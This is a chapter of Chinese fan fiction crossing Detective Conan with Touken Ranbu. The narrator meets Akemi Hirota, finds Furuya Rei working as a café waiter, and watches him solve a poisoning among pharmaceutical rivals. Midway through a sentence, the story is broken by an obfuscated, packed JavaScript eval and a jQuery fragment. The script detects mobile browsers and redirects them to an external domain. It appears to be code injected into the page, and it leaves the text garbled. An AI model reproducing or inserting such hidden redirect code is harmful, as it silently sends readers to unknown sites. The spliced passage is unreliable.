第31章


    “原来如此，雅美小姐的妹妹很可爱呢！”


    我看向对面坐着的，温柔的广田雅美。


    她刚刚和我分享了自己妹妹的一些趣事，说这些的时候，她整个人都活跃了起来，看得出来相当爱自己的妹妹了。


    我是在商场碰到的雅美小姐。


    绑架案的余波消失的很快，真正的背后推手依然逍遥法外，且涉及国际问题，很难抓到。


    不过之后大概率不会对我造成什么影响了，所以我很快就被转移了注意力。


    是小迹部啦，迹部景吾，他邀请我去参加他们集团举办的一个宴会。


    “这不好吧？那种大集团的宴会我肯定玩不好啊！”


    我有些纳闷，我的性格不适合这种场面，小迹部应该不至于看不出来吧？


    “集团要涉足游戏行业，这次相当于向社会宣布了，因为行业性质，所以邀请的大部分都是年轻人，宴会上还会有很多游戏，相当一部分都是没发售的。”


    我现在知道什么叫钩直饵咸了。


    很明显，咸鱼都上钩了。


    所以我就带着毛利来买参加宴会的裙子啦。


    不是毛利小五郎哦，毛利小五郎不穿裙子。


    是藤四郎家的毛利啦，虽然也不穿裙子。


    大约逛了有小半天吧，我稍微有些累了，但是不怎么饿，于是找了家咖啡厅，点了饮料休息。


    咖啡厅里人超级多，我本来都打算走了，结果很惊喜地就碰到了雅美小姐，她看到我们时超级开心，于是顺利地拼了桌。


    “没想到在这里碰到你，如果不嫌弃，请不要客气和我坐一起吧！”


    “好哦好哦，我超乐意的！”


    就是这样，我很自然地坐到了雅美小姐对面，很自然地得知了她的性命，也很自然地聊起了天。


    她说她的妹妹怎样可爱，我就说小短刀有多萌。


    毛利在一旁脸放着光附和着。


    “对对！”


    “小孩子就是很可爱！”


    气氛相当融洽。


    直到——


    “打扰了，这是您点的饮料，”一个超级熟悉的声音从我旁边响起，“请慢用。”


    我猛地抬头，这是……


    金色的发丝顺服地垂在脸旁，小麦色的皮肤像是有蜜在流淌，他的眼像是隔着雾气的紫夜，嗓音是被香氛软化的柔。


    我说这一段并不是为了表达他有多好看（才怪），而是想要让大家立刻意识到他是谁。


    降谷零！


    你怎么跑来咖啡厅当服务生了？！！


    我瞳孔地震，我还以为这家伙是去做什么比警察还要高大上的工作，结果是来当服务生？！


    日本服务生挣这么多吗？比警察工资还高？


    那很好了，都别去美国刷盘子了，来日本刷盘子不香吗？！


    我瞪大了眼睛看着降谷零突然有些僵直，几秒钟后才流畅自然地把我点的饮料放上来，全程目光不敢看我。


    这这这，他自己也意识到有些羞耻？


    他不会之前遇到什么大变故了吧，所以才终止了在警校的生活，放弃了警察的工作回去处理，结果处理完之后找不到工作只好来当服务生了吧？


    嗯，也只有这个可能了吧？景光那边我猜也是这样的，别忘了虽然景光没提过家里的情况，但他俩可是幼驯染，肯定家里住一块的啊，说不定是台风之类的干的。


    唉，可惜了，我有些唏嘘，也大概理解零他不想和我说话的理由。


    换我我也不想，倒不如说还会祈祷千万不要碰到熟人。


    于是我按照零想要的，装作不认识他。


    他好像微微松了一口气，微不可察。


    我更加认定自己猜对了。


    我端起浅金色的饮料喝了一口，还不错，估计不是零做的，他这家伙据说厨艺不怎么样呢。


    我透过玻璃悄悄观察零，连和雅美小姐的交流都显得有些心不在焉了。


    好在雅美小姐并不在意，或者说，她自己也心不在焉了起来，目光总是飘忽，时不时投向一个方向。


    这是为什么？注意到这点的我顺着她的眼神看过去，呃，是零？


    雅美是觉得零很好看吗？眼光很好呢，但是我觉得雅美不像是会这样看帅哥的人啊。


    于是我稍微大胆一些，直接盯着玻璃里面，演都不演了，反正雅美现在估计察觉不到，至于零，他察觉到就察觉到吧。


    玻璃上可以同时看到雅美和零，雅美瞥了一眼零之后会迅速地移开目光，嗯，人之常情。


    可是零，你这样家伙怎么也时不时地看向雅美小姐啊！什么情况？你就是这样当服务生的吗（震声）？


    好像察觉到了我的视线，零快速地寻找了一下，对上了我在玻璃里的眼睛。


    我移开了视线。


    好吧，偷看还是稍微有点心虚。


    …………


    不心虚。


    心累。


    当我逐渐适应了东京时不时会闹炸弹，觉得其实频率也没那么可怕的时候，


    老天看不下去了，老天觉得我怎么能忘记这是什么片场呢？


    于是给我狠狠来了个大的。


    坐在我旁边桌位的一个大腹便便的男人，在喝了好像跟我相同的饮料之后突然血喷三尺一命呜呼。


    这不是夸张，这是写实。


    他！血喷三丈！


    我不想拿死者开地狱玩笑的，但他真的很像个喷泉！


    毛利第一时间站起来挡到我的跟前，我安抚了几下让他坐了下来。


    我一时间不知道该不该把嘴里的饮料咽下去。


    最后想了想还是咽下去了，没办法，我刚刚已经喝了好几口了，照这个毒药的迹象，要毒发早毒发了。


    整个咖啡厅像一锅水烧开了一样沸腾，此起彼伏的尖叫和恐惧瞬间把氛围拉满，大张旗鼓地告诉我，哼哼，让你见识见识什么叫侦探番！


    恐怖如斯，新一都没变柯南呢。


    要说害怕，我倒不是有多害怕，毕竟这段时间一直接触炸弹，我的心灵已经比较强大了，但还是有些无所适从。


    不过我有注意到雅美虽然也面露了些不忍，但倒是没有一点害怕呢。


    真是个勇敢的姐姐。


    零第一时间站出来控制局面：“请大家安静，并且不要走出咖啡厅，以免放走凶手，我已经报了警了。”


    这时的老东京们还没有身经百战见怪不怪，在我看不下去站起来帮忙后也废了好一番功夫才安静下来。


    我正还担心零一会看到警察会不会想起自己错过的职业而伤心，他就已经换了副手套跑到死者面前检查了起来。


    不是，还没入职呢就有职业病了吗？


    或许是循着血脉里的本嫩，也或许是老东京的地道，大家都任由着一个服务生跑来跑去检查状况，并回答他的问题。


    现场用了一段时间成为了大家熟悉的样子。


    嗯，就是三选一。


    出乎意料的是，零并没有闻到什么□□的味道，也许这会儿东京还民智未开，□□还不是走亲访友必带的特产。


    死者名叫神谷健一，是一家医药公司的社长，这家医药公司最近势头很大，接连推出了很多热门特效药，连我都听说了几次。


    和他同席的有三人，坐在左边男人的叫宫本良，是这家医药公司的一名研究员，研究生学历，前不久刚刚加入集团，最近颇受重用，右边女人的叫中村雪，是这个社长的助理，长期接手工作和生活的方方面面，对面的男人叫佐藤裕，是另一家医药公司旗下研究所的负责人，这家医药公司和神谷集团存在竞争关系。


    “就是你干的吧！”中村雪情绪激动，“佐藤，现场只有你有动机，你一定就是凶手！”


    “什么？要我说你才是吧！你是这家伙的生活助理，只有你最了解他的习惯，你最有可能下毒成功！”


    “雪……中村怎么可能！社长很看重她的！”


    “宫本，你别以为我不知道你……我看就是你干的！”


    好嘛，线索自己蹦出来了。


    零立刻询问佐藤裕：“佐藤先生，你说宫本先生什么？请说完好吗？这涉及到你身上的嫌疑。”


    佐藤裕犹豫了一下，在宫本良紧张的目光里咬咬牙，说了出来：“哼，你们都听说过神谷集团最近推出的新药了吧？”


    在场的观众很配合地点点头。


    佐藤裕接着微微低头，灯光从顶上直射，让他看起来像个掌握阴谋的疯狂科学家：“那其实，是我们研究所的产出！”


    在宫本良有些惊惧地目光里，佐藤裕说出了重磅的消息。


    几个月前，他发现研究所里的夜晚总是有人影，但是每次都抓不到，当时研究所里本来正在研究的一系列药物，被神谷集团接连抢先推出，佐藤裕才意识到，有人泄露了所里的研究资料。


    他恶劣地笑了笑：“不过，哼哼，神谷集团终究是资历太浅，根本没有察觉到，这些药物有着严重的缺陷，长期服用后会产生严重的不良反应，不然我们为什么都研究出来了还不发售？”


    这个消息在人群里引起了轩然大波，神谷集团的药最近实在是太火了，在场的人或多或少都接触过，好在这些药物问世时间不长，还没有出现长期服用的受害者。


    但也很恐怖了，本来是救人的药却成为害人的东西，我打了个寒颤。


    佐藤裕接着说：“直到我有一次发现，宫本这个家伙，和那个神谷健一，有私下里的交易，没错，就是在这个咖啡厅里！”


    “我当时带了口罩和帽子，宫本良又是刚进入研究所，没怎么见过我，所以我很顺利地坐到了他们旁边的桌位，在这里，我听到了一个惊人的消息。”


    “宫本良的研究生学历，是靠作弊的来的。而神谷健一，正是无意中掌握了证据，所以要挟他偷取我们所里的资料。我以此为由赶走了宫本这个家伙，没想到他竟然加入了神谷集团，他一定被掌握了证据的神谷狠狠压榨了，所以怀恨在心蓄意报复！”


    宫本良脸色僵硬，嘴巴动了半天也说不出什么。中村雪倒是看了宫本良好几眼，脸色有些变动。


    我觉得这个佐藤裕说的好像有几分道理，但不多，而且有点漏洞，但我没开口，零一定能察觉到的。


    果然，零笑了笑，看了眼宫本良和中村雪，面对着佐藤裕：“那么，佐藤先生，如果真如你所说，你为什么不走法律途径，而只是赶走了宫本先生呢？你为什么不起诉神谷集团呢？”


    佐藤裕的脸色变了变，罗嗦了半天说不出来话：“这……这……”


    “我来说吧，”宫本良终于开口，“他拍下了我和神谷健一交易的过程，以此要挟神谷健一给他封口费，他从神谷健一这里得到的钱，比他在研究所里赚的多得多！”


    “而且，佐藤，”宫本良直视有些退缩的佐藤裕，“你以为我不知道你的打算吗？”


    “你根本就是想等着神谷集团的药物暴雷，好收集大范围的实验数据，并借此推出效果更好、副作用更低的药物再赚一笔罢了！”


    这个消息让我的眼睛都瞪大了，这这这，这桌人，除了中村雪之外，简直全员恶人。


    现在还没到柯元呢，我不敢想象要是柯元之后，整个日本会陷入一种怎样的境地。


    仔细想想，柯南那么多集动画片，那么多的案子，但柯南本人还是在一年级读书……


    我打了个寒颤。


    不知道为什么，我看向中村雪，她此刻好像是这桌里唯一一个无辜的人，但或许是灵力在提醒着我，我总感觉她有点猫腻。


    可恶，我的灵力修炼还没到家，现在还是只能感知到刀剑们的灵魂，对于外人，仅仅是能感知到一点点微末的气息罢了。


    我盯着中村雪，她的面色很难看，但是又不像是害怕，像是有些，愤怒。


    这个时候警察们终于来了，是个我不认识的警察，当然我也只认识萩原松田伊达三个警察。


    他们的到来让现场更加紧张，宫本良和佐藤裕撕咬的更加激烈，各种医药行业的黑幕大瓜不要钱一样的被抛了出来，零的脸从小麦色黑成了棕色，又从棕色黑成了碳色。


    鉴识科的人很快进行了检测，从神谷健一和三个嫌疑人手上都检测出了不明成分。


    这让案件变得扑朔迷离起来。


    佐藤裕愤怒极了，甚至开始胡乱攀咬，他大喊：“我看说不定是你勾结了这家咖啡厅，不然为什么我们所有人的手上都有不明成分？一定是服务生手上沾了毒物，然后害死的神谷！”


    他指着零，面色扭曲：“我一看你就是个不安分的！你就承认吧，大家现在都因为你不能出去！”


    现场的人也愈发骚动，他们不想再被困在这里。


    我察觉到雅美小姐也有些神色变化。


    她感觉到我的目光，想了想侧过来跟我说：“我想起来，在你没过来的时候，我看到他们坐下前彼此握了握手。”


    握手？这有什么？


    雅美看了我一会。


    我意识到了，毒物很有可能就是在握手的时候被传播的。


    只是，这样一来就又说不通


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483995|185350||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了，为什么大家手上都有毒物，死亡的只有神谷健一呢？


    我的目光转向了神谷健一的饮料，这才发现有些不对。


    我立刻朝零招了招手，我不想出风头来着，还是告诉零比较好。


    零察觉到我的动作，不动声色地走了过来。


    他面色依然陌生，带着恰到好处的招待的笑：“这位小姐，请问您发现了什么？”


    我凑到他耳边：“他们四个彼此有握手，而且，那个神谷健一，他的饮料颜色好像不对。”


    零瞬间意识到了什么，他甚至没问我更多的，转身走向三个嫌疑人。


    他非常突兀地提问：“请问各位觉得我们店的饮料味道怎么样呢？”


    宫本良诧异的不得了：“这个时候问这个？我还以为你会是那种非常想查出真相的，挺好喝的，咖啡甜度正好。”


    佐藤裕也很纳闷，但也回了话：“我的也是，甜度正好。”


    这家店的桌子上没有糖罐，因为在点单的时候就会询问想要的甜度。


    中村雪的脸色更不好看了，她愣了半天都没回答。


    “说话啊你！”佐藤裕相当没好气地朝她大吼，“我们这桌不是你负责点的单吗！你这人确实在这方面很有天赋，我算是知道为什么神谷这个家伙会让你当助理了。”


    在零锐利的目光里，中村雪颤抖地说：“嗯，很好。”


    声音像是从缝隙里挤出来的。


    零笑了笑，转身向鉴识科的警察们提议：“请把刚刚检测出的不明药物和糖混合之后再检测一下，我想，答案就在其中。”


    “不用了。”


    中村雪打断了他，她的目光扫过死亡的神谷健一，扫过面色惊讶的佐藤裕，最后愤恨地剜了一眼宫本良：“是我干的。”


    她低下头捂住了脸，放出了一个消息：“我和宫本良这家伙是情侣。”


    在神谷健一手底下工作非常不好，这个家伙相当会压榨人，即使中村雪工作能力很强，也经常要遭受刁难，有时候还会有些超出工作范围的要求，她相当痛苦，但是又很需要这份工作，她的母亲住院，需要这份工资。


    这个时候，宫本良进入了她的眼里，这个人一来就获得重视，非常优秀，推动了很多药物的研究，即使神谷健一同样压榨着他，但是有了这段工作经历，他可以很轻松的跳槽到其他企业。


    这是在一起的时候，宫本良告诉中村雪的，或许是因为自己太过压抑，也或许是想要隐秘地反抗一下神谷健一，总之，在宫本良的刻意下，他和中村雪迅速地谈起了公司禁止的办公室恋情。


    “他告诉我，他之前犯过一个错误，但并不严重，可是有可能会影响自己跳槽，”中村雪说着，眼泪浸出来，“他说他想带我离开这里，和他在一起之后不需要这样辛苦工作，他会帮忙治好我的母亲。但是证据在神谷手上，他很痛苦。”


    “我，我当时鬼迷心窍，我决定帮他，我知道神谷这个混蛋不喜欢甜味，于是我弄到了一种特殊的药物，它被吃下后有剧毒，但和糖分发生反应后会迅速失效，我把它涂到手上，为了栽赃给佐藤裕这家伙，我率先伸出手，大家就被我带起来，一起握了手。给神谷健一点饮料时，我特意要求了不要一丁点糖分。”


    她苦笑道：“我记得当时负责我们的是另一个服务生，我能请问一下您是怎样看出来的吗？”


    零沉默了一下，回答了她：“这款饮料里的甜味是由蜂蜜提供的，淡淡的金黄色也是因为蜂蜜，神谷先生的饮料确是透明的。”


    “这样吗？”


    她点点头：“现在看来我真是可笑，宫本这个家伙除了有点研发能力之外一无是处，我根本不应该为了他冒险。”


    宫本良脸上像调色盘。


    佐藤裕冷笑：“是什么让你觉得一个研究生学历都要靠造假的人有很强的研发能力的？”


    “什么？他虽然很多资料都是窃取的，但是之前推出的药物有缺陷这件事在公司里是有传闻的，我听说是他在牵头研究这个，所以才会获得重视。”


    佐藤裕笑得更加幸灾乐祸，他一点也不在意别的：“谁跟你说那些研究是他推行的？那是他偷偷买的！甚至他自己都不知道，是从我这里买的！”


    “哈哈哈！”佐藤裕看向破防怒吼的宫本良，“你不知道吧？我卖给你的资料也不准确哦？连这个都看不出来，你这个家伙……”


    中村雪无法接受现实，抄起桌上一柄叉子朝着宫本良刺去，但叉子被零一脚踢飞。


    警察们这才反应过来，一拥而上，在场三人均被抓捕。


    …………


    尽管只是旁观，但这一场案件还是让我觉得心里有些闷闷的。


    于是和雅美小姐告别后，我带着毛利又在商场漫无目的地转了几圈。


    “主人？”毛利有些担忧。


    “没什么，我只是觉得有些为她不值。”我想着中村雪，“为了一个这样的男的搭上了自己的一生……”


    毛利被我牵着的手动了动。


    “不过，”


    我眉眼扬了扬，接着说：“不过，多亏有我，眼尖的发现了饮料颜色不对，要不然这个案子说不定还要绕很久呢！”


    “是呢，主人好厉害！”


    我昂首挺胸接受小短刀的吹捧。


    接着带着他离开。


    而后就在一个小巷子里看到了等候的零。


    他朝我笑笑，我会意，走了过去。


    看到他稍微有些犹豫，我率先开口：“放心吧，你混的不好这件事我不会告诉萩原他们的。”


    他愣了一下，而后反应过来：“啊，啊，太感谢你了小纯，我确实有点不好意思让他们知道呢。”


    我点了点头，踮起脚尖拍了拍零的肩膀：“但你也要自己和他们说点什么啊，他们很担心你，还有景光。”


    他沉默了一会，而后跟我说：“小纯，我改名字了。”


    我的注意力瞬间被他转移：“什么？！什么什么？”


    “我现在叫安室透。”


    不等我反应过来，他又放出了一句：“景光也改了名字，他现在叫绿川光。”


    “小纯，我，我想请你，如果之后碰到了他，也先装作不认识好么？”


    我感觉有什么很大的事发生在他们身上，在他甚至有些央求的目光里同意了。


    他们，难不成真是去做了秘密任务？


    不能吧？我还是觉得不应该，日本政府应该不至于派一对幼驯染，特别是同期生去做秘密任务吧？


    所以，他们一定是有其他的理由。


    应该吧？